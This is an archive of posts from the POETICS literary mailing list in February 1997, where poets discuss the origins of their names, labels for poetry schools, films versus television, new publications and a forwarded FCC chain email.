> *Some PBS stations are showing a documentary on W.E.B. DuBois this month ("DuBois in Four Voices" or some such title) that includes among the*

> *talking heads comments from the late Toni Cade Bambara --*
>
> *Also, if you missed it this week, watch for a PBS rerun of the Great Performances episode featuring a BBC documentary on Gospel Music -- No, it's nowhere near as good as that gem _Say Amen Somebdoy_, BUT it includes commentary from Baraka, and when was the last time you saw ANYBODY bold enough to include Baraka in a program that anything to do with Christianity?*
>
> *Posthumous sighting of Ralph Ellison on Good Morning America this A.M. -- nothing like a new book to get a dead author on TV --*

↑ Index

206. Charles Alexander
Re: Getting out the word out
Thu 6 Feb 1997

Dear Chris:

I guess as the two c.alexanders on this list, we had better trade some work. I'll send something your way if you'll send your book my way.

charles alexander
chax press
101 w. sixth st., no. 6
tucson, az 85701-1000

(not only the names, but we're two of the few westerners who aren't in california)

all best,

charles

↑ Index

207. Aldon L. Nielsen
Re: event report
Thu 6 Feb 1997

Please tell us what constitutes a "teacher of permaculture" ?? Is this anything like the permafrost?

↑ Index

208. Christopher Alexander
Re: Getting out the word out
Thu 6 Feb 1997

> *well at least you guys were born with the name Michael David Anderson.*

was not!

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

"Philosophy is intellectual order, which neither religion nor common sense can be. It is to be observed that religion & common sense do not coincide either, but that religion is an element of fragmented common sense. Moreover common sense is a collective noun, like religion: there is not just one common sense, for that too is a product of history & a part of the historical process. Philosophy is criticism & the superseding of religion & 'common sense'. In this sense it coincides with 'good' as opposed to 'common' sense."

Gramsci

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209. Christopher Alexander
Re: Getting out the word out
Thu 6 Feb 1997

> *I guess as the two c.alexanders on this list, we had better trade some work.*
> *I'll send something your way if you'll send your book my way.*

consider it mailed.

chris

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

"Philosophy is intellectual order, which neither religion nor common sense can be. It is to be observed that religion & common sense do not coincide either, but that religion is an element of fragmented common sense. Moreover common sense is a collective noun, like religion: there is not just one common sense, for that too is a product of history & a part of the historical process. Philosophy is criticism & the superseding of religion & 'common sense'. In this sense it coincides with 'good' as opposed to 'common' sense."

Gramsci

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210. Christopher Alexander
Re: Getting out the word out
Thu 6 Feb 1997

> *after 2 days away from the computer I forgot how to type--sorry to c alexander, sorry to c alexander.*

[tunefully "oh oh dont hang that mournful head at me."]

chris

↑ Index

211. David Israel
Re: event report / an adage
Thu 6 Feb 1997

Miekal And, in offering definitions for "Permaculture" & "natural design," presents some adages, including:

"the problem is the solution"

This suggests an update (& something of a reversal) on an all too familiar commonplace -- thus:

if you're not part of the problem
you're not part of the solution

d.i.

↑ Index

212. Maria Damon (Maria Damon)
Re: Names are not Objects
Thu 6 Feb 1997

> *prince is/was his first name. maybe, this being 1997, she chose to keep her own name?*

Now that The-Artist-Formerly-Known-as-Prince is married, is her name Mrs.
>The-Artist-Formerly-Known-as-Prince? And what if (shudder!!!)they were to
>have kids?
>
>
>
>
>George Bowering.
> ,

>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]

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213. Maria Damon (Maria Damon)

Re: Names

Fri 7 Feb 1997

---

mark weiss: i love this kind of stuff. i have a friend who had a very difficult relationship w/ his cold, unloving mother. he ws the youngest of a number of boys. when he asked once, in despair, why she had given birth to him, she responded, your uncle so and so (lou, levy, something) died, so we needed someone with an L-name.

Jews name their kids for dead people, but there's some lattitude because of
>translation. Hebrew or Yiddish names tend to be identical with that of the
>deceased, but there's some slide when it comes into English. So I was named
>for my cousin Maurice who died as a baby the year before I was born. It
>became Mark because that was the fad name during the 2nd world war and my
>parents had not yet lost their sanity and given me a furrin name in those
>conservative, assimilationist times. By 1948, however, they had gone over
>the edge: they announced that my brother-to-be was to be named Sandor after
>my Hungarian grandfather. I brought to bear all of my 4 years of Brooklyn
>street-smarts and convinced them that Steven would be more appropriate. The
>reasoning was something to the effect that he'd be teased and taunted unto
>insensibility. The hidden agenda was that I'd be getting a lot of black eyes
>defending the little bugger, whose arrival I wasn't completely resigned to
>in any case. So Steven it was.
>I rarely think about my name. It became an issue in childhood only because
>it was hard to make into a nickname, and at one point having a nickname was
>a big deal. My grandfather, however (the one who was alive), got around this
>by using my Hebrew name in an exaggeratedly Yiddish pronunciation, so that
>it came out Moishiyizzik--Moses Isaac to the uninitiated.
>It occurs to me now that as Jews we carry secret names, like some tribal
>peoples who have a "real" name that only the individual and the shaman know.
>To know the name, they think, is to control its bearer. Maybe for Jews our

>secret names are supposed to carry the spirit of the dead. In fact, I only
>know of Maurice because my aunt, who drank a bit, told me about him once
>when she was in her cups.

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214. George Bowering

Re: poetry "schools"

Fri 7 Feb 1997

The first piece of advice that sprang to my mind is that _Publishers' Weekly_ might think of a poetry piece that looks at poetry that comes from outside the USA as well as US poetry. A lot of the US poets I know feel affiliations with lots of international poetries, in English and other languages.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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215. Miekal And

Re: Names are not Objects

Fri 7 Feb 1997

Ron Silliman wrote:
>
> Miekal,
>
> I've always wondered about the origin of your name.
>
> Names do seem particularly unstable with regards to people.

& let's not forget that some of us have multiple personalities. my work with computer art, experimental botany, 'pataphysics, & noise all go under the name Amendant Hardiker.

& of course many of us know the mad scientist "tenetively, a convenience", born Michael _____ Tolson & who now is known as appropriately enuf

anonymous

Liz Was, was Elizabeth Perl Nasaw when I met her, changed her name using the last 3 letters of her last name read backward. & who is once again in the process of changing her name to Elyxir Aveshya or just Lyx. & she has an alternate name for her work in the plant world, Pechulia Glim.

& let's not forget Robert The, our friend who takes old hardcover books & cuts them prettily so prettily with a bandsaw & turns them into cutouts of handguns.

& also on the note of names, I have seen every possible arrangement of letters with people guessing the spelling of my name, & every possible pronunciation, since, as they say, it not morphologically correct. have seen my own spelling once,

in a czech underground film....

& my son Liaizon, was given his own last name, Wakest, when he was born, which is the simplest legal way to change a family name. no questions asked.

for the poetix family tree
yr shivering correspondent

m and

↑ Index

216. **David R. Israel**

Re: Fwd: New rules on internet access

Fri 7 Feb 1997

Friends, colleagues, et al. --

I received the attached message via another mailing list to which I belong, and felt it worth circulating -- am here posting it to both the POETICS listserv and the SASIALIT listserv. I don't know a thing about this beyond what's written below -- but I do plan to send in a little note to the FCC's email address for feedback, advising them that as a private citizen, I should be pleased not to get extra, gratuitous charges for email use. (Note, the deadline for such feedback is said to be February 13.)

regards to all,

d.i.

> *----------*
> *Forwarded message:*
> *To:* [redacted]
> *Date: 97-02-06 09:58:45 EST*
>
> *----- Begin Included Message -----*
> *This will impact us all! Please read on.....*

> *I am writing you this to inform you of a very important matter currently under review by the FCC. Your local telephone company has filed a proposal with the FCC to impose per minute charges for your internet service. They contend that your usage has or will hinder the operation of the telephone network.*
>
> *It is my belief that internet usage will diminish if users were required to pay additional per minute charges. The FCC has created an email box for your comments, responses must be received by February 13, 1997. Send your comments to*
>
> [redacted]
>
> *and tell them what you think.*
>
> *Every phone company is in on this one, and they are trying to sneak it in just under the wire for litiagation. Let everyone you know here this one. Get the e-mail address to everyone you can think of.*
>
> [redacted]
>
> *Please forward this email to all your friends on the internet so all our voices may be heard!*
>
> *Please pass this along.*

↑ Index

217. **9448721p**

OBJECT PERMANENCE #8

Fri 7 Feb 1997

Announcing the publication of the eighth and FINAL issue of OBJECT PERMANENCE.

Featuring work by Bruce Andrews, John M. Bennett, Andrea Brady, Adrian Clarke, Clark Coolidge, Peter Finch, Pierre Joris, Peter Middleton, Carlyle Reedy, Robert Sheppard, Fiona Templeton, Lawrence Upton/Bob Cobbing and Johan de Wit.

And more than 14 pages of reviews and listings.

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Glasgow
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stlg3 surface mail abroad; stlg4 airmail.

Payment, from overseas, by Sterling IMO if possible (orders in equivalent local currency are ok, but a Sterling draft drawn on a UK bank is best).

Contributors` copies are on the way...

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218. Bil Brown
Re: poetry "schools"
Fri 7 Feb 1997

> *Dear members of the list:*
>
> *At publishers weekly, where I work, we are preparing a poetry feature for an upcoming issue. The approach is to devise a piece that will assist booksellers (and others) in knowing what the different disciplines/schools/programs/ aesthetics are across the poetry spectrum in the U.S, and connect, where possible, each segment to the houses that publish them, the companaies that distribute them, the journals that keep their authors' new work out there, or the writing programs that fuel them, or the influences that are their foundation.*
>
> *At the moment, we are thinking of such segments as Language poets, multicultural poetics, or latino and black and asian, gay and lesbian poetries, spoken or performance poetry, St. Mark's of New York School, formalist, mainstream perhaps, experimental maybe, classical, poetry in translation, etc.*
>
> *Although I realize that some may see such reckoning and partitioning a woeful disservice, i think that, for the purposes of knowing how to stock a poetry section and keeping it both deep and contemporary, such an approach can be helpful.*
>
> *I would appreciate hearing from anyone who agrees that this may be useful, and who might have advice to offer on the various camps/alliances etc.*
>
> *Of course, i welcome comments from those who wish to dissent as well.*

What about the Naropa Institute/Jack Kerouac School of Disembodied Poetics....

Call 'em [redacted]

Bil

↑ Index

219. **Ron Silliman**
Names are not Objects
Fri 7 Feb 1997

Miekal,

I've always wondered about the origin of your name.

Names do seem particularly unstable with regards to people. I only recognized "the artist formerly known as prince" in Fargo from his symbol in the credits (he's the one shot in the snow after the chase scene). What was his name before it was Prince?

There was of course Edward Howard Symmes (R Duncan)

Not mention such favorites as
Carolyn Ochs (Lyn Hejinian)
Mary Korkegian (Rae Armantrout)
George Palmer (aka Michael)
Robert Davidson (aka Michael)

and if my granddaddy had not been adopted many decades back, I'd be Ron McMahon.

Such is life.

According to Switchboard.com there are 6 Ron Sillimans in the US listed in various white pages. I've probably ruined their reputations. And when we first moved to Paoli, there was a Jesse Silliman living directly across the street from us (one of my sons is Jesse). (Let's see, if there are 6 of them in a nation of 270 million, the odds of any one being at an address is roughly 1 in 65 mill, the odds of two across the street would be pretty darn high: why can't I win on odds like that in the lottery?), but she was a she and he's a he, in spite of the spelling. There's even a second Krishna Evans (name of my wife) living in Houston, TX. And we had a childcare helper in Berkeley whose name also was Krishna (particularly unusual in that, like Jesse, it's normally a masculine form).

So what's the tale of Liz Was (not her current name either as I recall)?

Ron Silliman

>Date: Thu, 6 Feb 1997 21:00:08 +0100
>From: Miekal And <[redacted]>
>Subject: Re: Getting out the word out
>
>Charles Alexander wrote:
>
>

>>
>> I guess as the two c.alexanders on this list, we had better trade
some work.
>> I'll send something your way if you'll send your book my way.
>
>
>well at least you guys were born with the name Michael David Anderson.
>when I was fifteen I took a look in the chicago phone book & there
were
>325 of em, & 12 that had my middle name. changed my name that day, I
>did, I did.
>
>Michael David Anderson aka Miekal And
>

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220. Ron Silliman
Film thread
Fri 7 Feb 1997

John Sayles has made several movies that are as one-dimensional as any piece of agitprop (viz. Matewan), but Lone Star isn't one of those. Rather, like Brother from Another Planet, it struck me as quite transcendant of such values (they're there but sort of implicit throughout and not really what the film hangs on). Lots of great cameos, like Tony Ameandola's (sp?) Mexican used car dealer. If this is equivalent to what's on TV, they must have better TV there than we get in Philly.

Hey, but then I liked the English Patient (it's an interesting transformation from the book in that each treats a different level as the frame story and a different level as "the focus"), but I admit to being a sucker for its self-indulgences (both film and book, for that matter). It'd make a great double bill with The Sheltering Sky (a truly great film and book) and a triple bill (does any theater do that anymore?) with Antonioni's The Passage.

A truly bad film (violence as porn) might be The Missouri Breaks (was that Pekinpaugh or Penn?) which treats the acts of killing in exactly the same episodic method that a cheap porn flick would getting from one sex scene to the next, each more violent than the one before.

Last film I walked on was El Topo. Last video I turned off halfway through was Bridges of Madison County (Meryl Streep in her same old swedish accent posing as Italian immigrant: "Ja, Ve are Italian"). My Cousin Vinny was the one

before that. (A good rule: avoid anything that might end up being shown uncut on a transcontinental flight.)

Ron Silliman

↑ Index

221. Miekal And
Provoking the stretch
Fri 7 Feb 1997

Mark Prejsnar wrote:
>
> Actually, I had a second question in response to your posting, Michael,
> and forgot to include it: you mention "experimental" as a possible
> catagory, separate from LangPo---just who/what would you put into that?

first to answer your question Mark, Id put into experimental anything that didnt have a category of its own, visual/verbal, sound poetry or text/sound, performance poetry, text installation, computer & virtual language environments, bookart, collaborative, poetry as life (for instance one of the few poems Ive written in the last 5 years is a sign hanging over our dairy goat gateway that says "goats dreaming"....), & certainly the text creations of outsider artists as adolphi wolfi & howard finster deserve a place in the geneology of the text.

as for the category "language" poetry, Ive never been comfortable with a notion that someone who questions the many contexts of the language of our time as being that separate from the spirit of poetry in general, even most mainstream poets have been known to burst out in florescences of "language"...is pound a language poet, is lewis carroll a language poet, why do these distinctions have to exist to perpetrate a critical nomenclature of pigeon holes & dusty compartments?

so maybe my point isnt to question all the categories that have been carved out but to wonder out loud if all of us bright, creative, fuzzy people cant continuously invent ways to interact with the corpus of literature that defy, detourne, confuse & interbreed the will to commodify genre consciousness.

miekal

who has written "language poetry" since 1976 & has never once been included in a "language" anthology....because its in who ya know... that these machines of text posterity are calculated.

--
@#
Dreamtime Village website: http://net22.com/dreamtime

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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222. Miekal And
Re: Names are not Objects
Fri 7 Feb 1997

Christopher Alexander wrote:

> *considered changing my name, but then thought why bother. the new name would still have the same (in-/convenient) limiting effect. up to now I've assumed, Miekal, that was the impetus behind the amount of play you seem to do with your own names. but then again maybe not.*

actually C, Lyx & I both actively cultivate very different parts of our personality as vital wholes, some people would call it life as art as life, regardless I prefer multiple personalities over issues of psych wards, mental health, scizophrenia, moodswings, obsession & desire, pharmaceutical behavior modification, therapy & counselling, & all the other late 20th century interventions into the inner life of humans living on planet earth. More is more, why limit ourselves?

on the rail,

then / therefore

amendant hardiker
the driftless academy of botanical apparitions

↑ Index

223. henry
Re: poetry "schools"
Fri 7 Feb 1997

Dear Michael McCoffey, be sure to tell bksellers to reserve a wide range of shelving for the Providence School over there between Physics and Self-Help (Archaeology). Poets to include: High, Prevallet, Shvarts, Mandelstam, Villon, Wright (all 10 of them), Dickinson, Sappy (all 100 of them), Gould (lower shelf - remainders), Savage Reader (note: add poison warning - hold chapbook at least 2 ft from nose), Ashbery, Berrigan (all 4 of them), Berryman, Henry Pussycat, Florida Sweets (Valentine seasonal market), Louise Chan Littletree (has anyone read this poet yet? What is wrong with you people?). - Henry Gould

p.s. throw in a few NY School-bred Language epic beat-up New Coast Af-Am Brazilian elderly Swedish lesbian garbage-can-lid-challenged Hopi smartass adolescent mute performance slang nu-english poets just to make it interesting. & make sure they're all Irish. Best of luck! So much to choose from!

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224. **Miekal And**
Re: Names are not Objects
Fri 7 Feb 1997

George Bowering wrote:
>
> I have been wondering about that "Miekal", too.
>
> I presume that it is pronounced mee cal. Why didnt you change it to Meikal,
> so that at least it would still sound like "Michael"? You would still have
> solved the problem of the telephone book.

george

yes, mee cal.

spelt thus because I changed my name when I was 15 (actually changed is to miekal shalom first, but that is offrecord) & I was/am quite dsylxeci & a notorious "bad" speller, as those listees who double as proofreaders may have discoverd.

meekl

↑ Index

225. **Herb Levy**
Re: Bandit Queen (Lone Star)
Fri 7 Feb 1997

Matthias Regan asked:

> *At 01:31 PM 2/5/97 -0800, Herb Levy wrote:*
> *(snip)*
> *To bring it round to a film I HAVE seen, a lot of the praise for John*
> *Sayles' Lone Star seems to be based on the political sentiments he projects*
> *(which, for the most part, I agree with) and not the film itself, which I*
> *think is no better or worse than most network television programs.*
>
> > *But in what manner no better or worse?*

Certainly in terms of narrative form. Very few narrative films, especially from the States, end with such an intense rush to resolve all narrative threads, while

this is quite common in network tv. Aside from overall production values being better in film, I think this kind of closure may be one of the strongest differences between narrative as presented in the two media.

In general, it seems to me you're arguing for some kind of social realism, style in the service of progressive content ("the 'art' of the thing is less in its style than in its content") whereas I see Lone Star as a manipulative allegory (Sayles HAS done far worse in this mode, what's the name of that mining/labor film?). I'd rather see progressive content mirrored in a progressive style

I'm certainly not getting what I want from a movie like Lone Star, but I also think it would be possible to get a lot closer to what you want then what Sayles creates in this film.

I do like a lot of the bit parts, Francis McDormand (from Fargo) as the ex-wife of Chris Cooper's character, for instance, is great. I like the flashbacks as pans across the scene, rather than the more usual breaks that signal such a change in a lot of films. But as to the various stylistic features you raise, I can only say that what you see as "unobtrusive clarity", just seems lackluster & uninspired to me.

Bests

Herb

Herb Levy

[redacted]

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226. **maria damon**

Re: Names are not Objects

Fri 7 Feb 1997

---

ron s, he of the silly name, rites:

> *Names do seem particularly unstable with regards to people. I only recognized "the artist formerly known as prince" in Fargo from his symbol in the credits (he's the one shot in the snow after the chase scene). What was his name before it was Prince?*
>
> *There was of course Edward Howard Symmes (R Duncan)*
>
> *Not mention such favorites as*
> *Carolyn Ochs (Lyn Hejinian)*
> *Mary Korkegian (Rae Armantrout)*
> *George Palmer (aka Michael)*
> *Robert Davidson (aka Michael)*

> *and if my granddaddy had not been adopted many decades back, I'd be Ron McMahon.*
>
> *Such is life.*
>
> *According to Switchboard.com there are 6 Ron Sillimans in the US listed in various white pages. I've probably ruined their reputations. And when we first moved to Paoli, there was a Jesse Silliman living directly across the street from us (one of my sons is Jesse). (Let's see, if there are 6 of them in a nation of 270 million, the odds of any one being at an address is roughly 1 in 65 mill, the odds of two across the street would be pretty darn high: why can't I win on odds like that in the lottery?), but she was a she and he's a he, in spite of the spelling. There's even a second Krishna Evans (name of my wife) living in Houston, TX. And we had a childcare helper in Berkeley whose name also was Krishna (particularly unusual in that, like Jesse, it's normally a masculine form).*
>
> *So what's the tale of Liz Was (not her current name either as I recall)?*

this is picking up on the trhead i tried to inaugurate some weeks ago, suggesting that we all tell each other the origins of our names. i love this kind of thing, seems kabalistic to me. i was really unnerved to find out, in the course of chris funkhouser's trying to show me how to use the web, that there's an undergrad at brown u called Maria Damon. in addition, last yeear when i was on the cape, the cape cod times featured a ltter to the editor about a heartbreaking photo of a guy who'd lost his dog, and how voyeuristic the photo was, and wasn't it hard enough for the poor guy to have lost his dog, w/o having to see his photo in the paper, etc.,,,signed by Maria Damon. then, on returnin here, i reconnected w/ my former health care workers to provide me w/ a prescription for medication. the nurse called me back and said, when did you switch to your current medication? i sd i'd always been on it, and no other. when's yr date of birth she sd, and when i told her, she sd, that solves it, we've got another patient with your same name and i was getting you mixed up. i know some of you have names that are pretty common (miekal, one of my danish cousins changed her name to be the only one of its kind in the danish phone book, cuz their names are all frederiksen, larsen, rasmussen, etc) but i tend to think of my name as unusual. oh well. seething with humility, maria d

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227. Jordan Davis
Re: Names are not Objects
Fri 7 Feb 1997

There's a Jordan Davis who's a sound poet in Cleveland. Luigi-Bob knows (of) him. And then there was the two year period when I went around saying no, I don't have an 'e' in my last name. Diane Ward of Buffalo should have something to say about this phenomenon -- she did the last time we ran thru this thread ... signed Jordan whose computer is still dead and who therefore must use clunky telnet in perpetuity

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228. Charles Alexander
Re: Names are not Objects
Fri 7 Feb 1997

>What was his name before it was Prince?
>
I believe the given name is Prince Rogers (or Rodgers) Nelson.

All I know re: my own name is that my father was born in 1907, not long before Oklahoma became a state, in its dusty northwest corner, and named after the last territorial governor who became the first state governor: Charles Haskell. So my dad was the first Charles Haskell Alexander and I am technically a "jr." although that got dropped when I was a teenager or perhaps even before.

Once a policeman came looking for me in my studio in Tucson and was very surprised when I came to the door, as he had a warrant for a Charles Alexander who was 6 foot 4 inches tall (I'm 5 foot 10) and a different color. But that's better than my wife, who lives in the same town here with another Cynthia Miller who used to run an animal grooming business but now is a convicted (and much publicized) animal abuser who didn't do jail time but had big fines and can never have pets again. We thought she got off lightly. My wife has considered changing her name to mine (last only; although I guess we could have two Charles Alexanders in the same house) because of it, but so far hasn't taken such a step.

what's in a name?

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229. **Mark Prejsnar**
Re: poetry "schools"
Fri 7 Feb 1997

This issue of labelling is fascinating, and is going to be around for the foreseeable future. My first response, Michael, is: assuming any broad usefulness to such an approach, what label would you attach to your own work?? The question isn't only rhetorical...it would be really interesting to know. I don't think I could/would attach one to mine. (A less interesting example, as you probably haven't seen it..)

To avoid labelling, I've developed a habit of referring to what I like as "interesting poetry," with the converse of that being mainstream, or just "not very interesting."

A very interesting parallel to what you-all are doing: in the 1980's I lived in Boston; the famous poetry bookshop Groliers had a good selection of LangPo books & chapbooks; but they had them on a separate shelf labelled (literally) "Language Poetry." Now on the one hand many area poets thought that was an absurd ghettoization intended to keep this stuff (which somehow wasn't real) from infecting the rest of the 15,000 or whatever volumes in the store. ALL the rest, you see, were in a single A to Z sequence. On the other hand, several young poets I knew found this a useful way to find out who & what LangPo was, when they hadn't had direct contact with anyone who could tell them; and while they saw in principle what was wrong, the arrangement helped them at a crucial point of exploration...

Since your publication has to do crucially with marketing, it seems hard for it to avoid labelling. It is interesting to consider the alternative...That would be (to be acceptable to the majority of folks on this list) for Publisher Weekly (and Groliers) to not ghettoize, BUT to give Nate Mackay & Susan Howe & Clark Coolidge & David Shapiro as much attention & publicity as Amy Clampitt. (Of course they should get much, much more.) The thing about these labelling approaches is that they are often the only way mainstream institutions are willing to give ANY real space to stuff outside the mainstream.

Mark P.
Atlanta

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230. **Pritchett,Pat**
Re: Names are not Objects
Fri 7 Feb 1997

Hmmm... football and langpo. Sounds downright Edenic. 'Cept for that snow thing.

Patrick Pritchett

From: Diane Marie Ward
To: POETICS
Subject: Re: Names are not Objects
Date: Friday, February 07, 1997 10:36AM

"Diane Ward of Buffalo - land of chicken wings, football fanatics and postmodern/language poetry"

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231. **dbkk**
RLIN search
Fri 7 Feb 1997

Can anyone help me? I have this print out from RLIN that tells me where all the Spicer manuscripts are lodged throughout the country in what different university libraries, etc.... however, they use a code I find hard to crack. Can someone tell me what and where "RRAL" ("Resources for Research in American Culture") is?

Thanks---

Kevin Killian

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232. **Diane Marie Ward**
Re: Names are not Objects
Fri 7 Feb 1997

---

this thread/dilemma/annoyance reminds me of a teacher i had once -- she could not remember all of our names so she assinged us numbers -- (i still remember i was #21 -- one of those scars we carry) Now i simply just use my middle name and hyphenate it -- I rather like Jordan's "Diane Ward of Buffalo" sounds rather stately/regal

"Diane Ward of Buffalo - land of chicken wings, football fanatics and postmodern/language poetry"

On Fri, 7 Feb 1997, Jordan Davis wrote:

> There's a Jordan Davis who's a sound poet in Cleveland. Luigi-Bob knows
> (of) him. And then there was the two year period when I went around saying
> no, I don't have an 'e' in my last name. Diane Ward of Buffalo should have
> something to say about this phenomenon -- she did the last time we ran
> thru this thread ... signed Jordan whose computer is still dead and who
> therefore must use clunky telnet in perpetuity
>

Diane-Marie Ward

[redacted]

State University of New York at Buffalo

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233. **amato**

tv vs. film...

Fri 7 Feb 1997

---

about tv: i don't quite think it's what it used to be...

'nypd blue' or 'er' or 'murder one' are, to my mind, doing some pretty extraordinary things... both visually and structurally, they're outdoing many of the films around, and have the added advantage of serial length... easy to see this if you have cable: just watch 15 minutes or a half-hour of nypd blue, and then click around and have a look at the various films on the various networks (that is, if you can bring yourself to pull away---it's pretty addictive stuff)...

anyway... just didn't want tv to take a complete and customary beating over and against (non-tv) film... though of course commercials continue to be a downer...

best,

joe

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234. **Miekal And**

Re: Names are not Objects

Fri 7 Feb 1997

---

this is Elizabeth Was here making my first (official?) appearance on this list, hopefully more will follow, (altho i'm admittedly especially & morely excited about the visual poetry list). i'd like to correct Miekal's spelling of (one of) my names, it's Elixir Aveshya. At first this ws going to be a private erotic name

known & circulated only amongst my closest of friends. after having used it as author of my first erotic short story "Victoria & Melampus", it looked so good in print & sounded so much like a 15th century alchemical erotic androgynous philosopher erudite that've become fond of it in print. however, in spoken form it sounds too formal & pretentious, so i don't like introducing myself as such. as such i shortened it at first to "Lix". i'd tell people, just change the "z" to an "x" to get my new name. it tickled my long and equal fascination with "z"'s & "x"'s, as well as my fascination with a young man whose last name is "Nix". but then i'd been referring to him with a "y" as in Nyx, the goddess of night (with occasional added reference to the water sprites known as "nixies" which in turn reminds one of the more earth-based sprites known as "pixies"). well then this same young man went ahead & printed my name on a roster of performers for an event he co-sponsored as simply, "Lyx". Again i was tickled in new places & now finally almost 2 years after only sort of changing my name i have finally settled on telling people my name is "Lyx". (except in cases such as the first sentence of this here note, where i introduce my old name, so those on the list who have heard of me have something to recognize) Problem: now everyone thinks I am Lyx Was. Well Lyx Was i am not, I hate the sound of it, yuch. Lyx Aveshya doesn't work either. I am in the process of considering "Lyx Ish" although this might entail putting more than one space between the first & last name: Lyx Ish. thus i will have gone from a past tense noun to an adjectivial ending. i like its jewishness, having been born into a jewish family. give me some feedback. what more secrets shall i tell the lot of you? ah, no more, there are personas of mine i'm afraid you'll never appelle. till next time, Liz Was, I mean. . . . --
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@# Dreamtime Village website: http://net22.com/dreamtime QAZINGULAZA: And/Was/Wakest website: http://net22.com/qazingulaza e-mail for DT & And/Was: [redacted]

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235. **amato**

Re: Names are not Objects

Fri 7 Feb 1997

---

names?...

joe amato the top-fuel drag racer...

joe amato the bodybuilding reporter on espn...

joe amato (jr.) the son of joe amato...

will the real joe amato please stand up?...

↑ Index

236. Sylvester Pollet
Mitch Goodman
Fri 7 Feb 1997

The New York Times (Thurs. 6 Feb. 97, B-13) ran a nice obit for Mitch Goodman, the largest of the day, except for Pamela Harriman. But it's too bad they couldn't have bothered to proofread it, or maybe just don't know any bettter, so the world gets this: "...after meeting a young English poet, Denise Leverton, at a youth hostel in Geneva..." and later "But by the time Miss Leverton had collected signatures from hundreds of artist and writers for an antiwar advertisement...." Ron, maybe not all name changes are voluntary! It's just another reminder that someone we know and love as a household word more or less doesn't ring any bells in the power centers.

Sylvester Pollet

Backwoods Broadsides
RR5 Box 3630
Ellsworth ME
04605-9529
USA

National Poetry Foundation
University of Maine
5752 Neville Hall
Orono, Maine
04469-5752

http://www.ume.maine.edu/~npf/

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237. Pritchett,Pat
Re: tv vs. film...
Fri 7 Feb 1997

Interesting point, Joe. I don't really find those shows all that compelling except in a shopworn Dickensian sort of way. I watch them, but I seldom stay with them. They're all so self-important. Esp. the X-Files. I confess I'd rather watch The Simpsons. I'm actually coming to believe that the TV commercial is the late 20th Century American art form par excellence: religious redemption/micro narrative that can't be beat for cognitive recognition/compression.

Patrick Pritchett, who's taking off for the day to ride his mtn bike in the fresh snow. (Miekal, you've really started something here...)

From: amato
To: POETICS
Subject: tv vs. film...
Date: Friday, February 07, 1997 11:06AM

about tv: i don't quite think it's what it used to be...

'nypd blue' or 'er' or 'murder one' are, to my mind, doing some pretty extraordinary things... both visually and structurally, they're outdoing many of the films around, and have the added advantage of serial length... easy to see this if you have cable: just watch 15 minutes or a half-hour of nypd blue, and then click around and have a look at the various films on the various networks (that is, if you can bring yourself to pull away---it's pretty addictive stuff)...

anyway... just didn't want tv to take a complete and customary beating over and against (non-tv) film... though of course commercials continue to be a downer...

best,

joe

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238. **amato**
Re: poetry "schools"
Fri 7 Feb 1997

---

it may be useful in this regard to consider jed rasula's account of current poetic practice in _the american poetry wax museum_... rasula identifies "four zones" of the contemporary american "poetry world": the associated writing programs; the new formalism; language poetry; and "various coalitions of interest-oriented or community-based poets" (440)... now i'm not suggesting that one should adhere precisely to these "zones" in laying out publishing or distributing criteria, only that such zones may be a start in thinking about what poetry communities are 'out there'...

best,

joe

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239. **Sylvester Pollet**
Amiri Baraka
Fri 7 Feb 1997

Amiri Baraka gave a talk and reading last night, Univ. of Maine, part of Black History Month observances, Multi-cultural etc. etc. Great, wide-ranging, energizing. Topics from language controversies to slave narratives to O.J. to Oedipus to rhythm & blues to multinationals. And that's only a few of the topics. He was in top form, and flying to California today to be in a Warren Beatty film (called Bullworth, I think, about a Senator Bullworth). All you film-threaders can look forward to that one!

Sylvester Pollet

Backwoods Broadsides
RR5 Box 3630
Ellsworth ME
04605-9529
USA

National Poetry Foundation
University of Maine
5752 Neville Hall
Orono, Maine
04469-5752

http://www.ume.maine.edu/~npf/

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240. **dbkk**
"Arctic Summer"
Fri 7 Feb 1997

It's Kevin Killian. I would like to announce the publication of my new book, "Arctic Summer" and urge all of you to look for it in your bookstores, to get it from the publisher, or to get it from SPD. It is my first novel in 7 years and took me 10 years to write. Maybe some of you will like it, it's set in the poetry scene of the 50s, starts out in New York and winds up at Black Mountain College in North Carolina. Some of you will know that "Arctic Summer" was the name of the novel E M Forster began, then abandoned, about this time.

Masquerade Books
801 Second Avenue
New York, NY 10017

Thanks also to all of you who have told me that you have ordered my book "Little Men" from Hard Press. I don't think I've had an original title in many years, and my next book will be "Reading Race."

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241. **Aldon L. Nielsen**
Re: Celebrating Tet in the dorm this week
Fri 7 Feb 1997

Prince's name before was, as it happens, Prince -- but there was more to it back then --

Some PBS stations are showing a documentary on W.E.B. DuBois this month ("DuBois in Four Voices" or some such title) that includes among the talking heads comments from the late Toni Cade Bambara --

Also, if you missed it this week, watch for a PBS rerun of the Great Performances episode featuring a BBC documentary on Gospel Music -- No, it's nowhere near as good as that gem _Say Amen Somebdoy_, BUT it includes

commentary from Baraka, and when was the last time you saw ANYBODY bold enough to include Baraka in a program that anything to do with Christianity?

Posthumous sighting of Ralph Ellison on Good Morning America this A.M. -- nothing like a new book to get a dead author on TV --

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242. aerialedge
The Lack
Fri 7 Feb 1997

---

now available, _Abacus #104_:

_The Lack

(love poems, targets, flags. . .)_

by Rod Smith

orders to:
Potes & Poets
181 Edgemont Ave
Elmwood CT 06110

It's $4.

Subscriptions to Abacus are $26.

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243. Steven W. Marks
"schools" and doubles
Fri 7 Feb 1997

Having wandered in what felt like poetic Siberia (and a partly self-imposed one), I don't mind being associated with a "school." I know the designations aren't accurate, but then we could say that all words are labels and slippery, and so remain mute. IMO, all communication is inaccurate, but it's all we got. I agree with Miekal, however, that you might want to ask the poet. I wouldn't be pleased if somebody read an Elizabethan sonnet I had published and decided I was a neo-formalist. (Not that there's anything wrong with neo-formalists!) I also like the zone idea of Jed Rasula.

